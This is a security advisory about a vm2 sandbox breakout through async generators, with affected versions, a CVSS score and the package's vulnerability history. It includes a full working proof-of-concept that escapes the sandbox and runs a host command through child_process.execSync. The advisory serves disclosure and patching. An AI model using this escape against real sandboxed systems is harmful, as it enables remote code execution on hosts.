vm2 Has a Sandbox Breakout Using Async Generator
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
It is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be catched by the runtime and passed to the yield* iterator as the next value.
PoC
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
class E extends Error {}
function so(d) {
if (d > 0) so(d-1);
const e = new E();
e.stack;
throw e;
}
async function* helper() {
yield* {
[Symbol.asyncIterator]: ()=>({
next: v=>({value: v, done: false})
})
};
}
async function doCatch(f) {
const i=helper();
await i.next();
const v = await i.return({then(r){f();r();}});
return v.value;
}
(async function f() {
let min = 0;
let max = 10000000;
while (min<max) {
const mid = (min+max)>>1;
const e = await doCatch(()=>so(mid));
if (e.name==="RangeError" && !(e instanceof RangeError)) {
e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
return;
}
if (e instanceof E) {
min = mid+1;
} else {
max = mid;
}
}
})();
`));Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | vm2 | < 3.11.3 | 3.11.3 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-668- Platform
- npm
- Package
vm2- Disclosed
- 14.05.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-248r-7h7q-cr24 - CC BY 4.0
Vulnerability history: vm2
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 78
- First → latest
- 10.2021 10.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 51
- High 14
- Medium 12
- Low 1
Disclosures per year
- 2021: 1
- 2022: 4
- 2023: 7
- 2024: 0
- 2025: 0
- 2026: 66
-
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